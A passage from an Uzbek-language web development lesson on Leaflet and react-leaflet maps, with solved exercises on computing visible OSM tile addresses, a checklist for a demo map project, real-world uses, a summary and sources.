Mirzo Ulug'bek — 5.4 kmTugmalar orasida bo'sh joy yo'q — map ichidagi tugmalar yonma-yon yopishgan (JSX'da {" "} qo'ysangiz, ajraladi). Ro'yxat BRANCHES tartibida; masofa bo'yicha kerak bo'lsa — toSorted. Sergeli (10.6 km) 8 km ga sig'madi.
3-mashq (qiyin): ekranga qaysi plitkalar kerak?
tilesFor(center, zoom, width, height) funksiyasini yozing: markazi center bo'lgan width × height pikselli oynaga tushadigan hamma plitkalarning z/x/y manzillarini qaytarsin. Toshkent markazi, zoom 13, oyna 360 × 640 (telefon) uchun plitkalar sonini va birinchi va oxirgisini chiqaring.
Ishora: markaz pikselini toPixel bilan toping, oyna chegaralarini piksellarda hisoblang, keyin Math.floor(px / 256) — plitka raqami.
Yechim
function toPixel(lat, lng, zoom) {
const size = 256 * 2 ** zoom;
const rad = (lat * Math.PI) / 180;
const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
return {
x: ((lng + 180) / 360) * size,
y: ((1 - merc / Math.PI) / 2) * size,
};
}
function tilesFor(center, zoom, width, height) {
const c = toPixel(center.lat, center.lng, zoom);
const x1 = Math.floor((c.x - width / 2) / 256);
const x2 = Math.floor((c.x + width / 2) / 256);
const y1 = Math.floor((c.y - height / 2) / 256);
const y2 = Math.floor((c.y + height / 2) / 256);
const urls = [];
for (let y = y1; y <= y2; y++) {
for (let x = x1; x <= x2; x++) urls.push(`${zoom}/${x}/${y}`);
}
return urls;
}
const tiles = tilesFor({ lat: 41.3111, lng: 69.2797 }, 13, 360, 640);
console.log(tiles.length, "ta plitka");
console.log(tiles[0], "…", tiles.at(-1));Konsolda:
12 ta plitka
13/5671/3060 … 13/5673/3063Telefon ekraniga 3 ustun × 4 qator = 12 plitka: 360 piksel eni 256 lik ikki plitkaga sig'adi, lekin markaz plitka chetiga yaqin — chap va o'ng chetlar uchinchi ustunga tushadi. Leaflet chetlarga yana bir qator qo'shib yuklaydi (keepBuffer) — siljitganda oq joy ko'rinmasin. OSM siyosati shu darajadagi "oldindan yuklash" ga qarshi emas: gap butun shaharni yig'ish haqida.
4-mashq: tajriba qadami (ixtiyoriy)
vazifalar ga tegmang. Alohida Vite loyihada (kurs/tajriba/xarita/) react-leaflet bilan «Bahor» filiallari xaritasini yasang: to'rtta marker, popup'da ish vaqti, "Men qayerdaman?" tugmasi. Keyin npm run build hajmini yozing va marker ikonkasi muammosini o'zingiz ko'ring — tuzatishdan oldin va keyin.
Yechim
Tekshiruv ro'yxati:
- Xarita balandligi bor,
leaflet.cssulangan, pastki o'ngda "© OpenStreetMap". - Tuzatishsiz: marker o'rnida singan rasm, DevTools Network'da
marker-icon.png— 404.mergeOptionsdan keyin — ikonka bor. - Popup'larni Tab va Enter bilan ochish mumkin.
- "Men qayerdaman?" —
http://localhostda ishlaydi; telefondan tarmoq IP orqali (http://192.168…) ochsangiz — xato kodi 1: HTTPS emas. - Build: kanonda React'dan tashqari ~43.8 KB JS va ~6.4 KB CSS.
13. Real ishda
- Yetkazib berish va taksi ilovalari — buyurtma nuqtasi, kuryer joyi. Ko'pincha tijoriy plitka bilan, lekin Leaflet API bilan.
- Davlat va ochiq ma'lumot portallari — maktablar, shifoxonalar xaritasi. OSM ma'lumoti va Leaflet — litsenziya va narx jihatidan qulay.
- Ko'chmas mulk saytlari — yuzlab e'lon, klasterlash shart.
- Ichki tizimlar (logistika, ombor) — o'z plitka serveri bilan, internetsiz tarmoqda ham.
- Intervyu savollari: "Veb-xarita qanday yuklanadi?", "Leaflet'da marker nega ko'rinmay qoladi?", "1 000 markerni qanday ko'rsatasiz?", "xaritani SSR'da qanday ulaysiz?".
Xulosa
- Xarita — 256×256 plitkalar to'ri, zoom z da 2^z × 2^z; manzil
z/x/y. - OSM plitkalari — kalitsiz, lekin atribusiya majburiy, og'ir yuklama va oldindan yuklash taqiqlangan.
- react-leaflet:
MapContainer(balandlik!),TileLayer,Marker,Popup(portal);center/zoom— faqat boshlang'ich, boshqarish —useMap(). - Toza Leaflet: effektda
L.map, cleanup'damap.remove(); aks holda "already initialized". - Ikonka muammosi — bundler manzilni o'zgartiradi,
mergeOptionsbilan tuzatiladi. - Klasterlash — ekran pikseli bo'yicha guruhlash; joylashuv — tugma bosilganda so'raladi, masofa brauzerda hisoblanadi.
- Leaflet SSR'da (
window is not defined) va Trusted Types'da (import paytidagiinnerHTML) yiqiladi; popup'ga foydalanuvchi matnini satr qilib bermang.
Keyingi dars: Xaritalar II: Yandex Maps, Google Maps va MapLibre — O'zbekistonda aniqroq xaritalar, API kalit, geokoder, marshrut, vektor plitkalar va ularning narxi.
Manbalar
- Leaflet 1.9: "Quick Start", "API reference" (
L.map,remove,locate,Icon.Default) — leafletjs.com; manba:leaflet-src.js(inlineSvg,_detectIconPath) - React Leaflet 5: "Setup", "Core architecture" (
MapContainero'zgarmas props),useMap,useMapEvents— react-leaflet.js.org; manba:MapContainer.js,@react-leaflet/corecomponent.js - OSMF: "Tile Usage Policy" — operations.osmfoundation.org/policies/tiles
- OpenStreetMap: "Slippy map tilenames" — wiki.openstreetmap.org
- MDN: Geolocation API, Trusted Types API — developer.mozilla.org
- Kanon:
natijalar/tajriba/kutubxonalar-21.txt,tajriba/kutubxonalar/src/k/xarita-leaflet.tsx(2026-10-17)
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!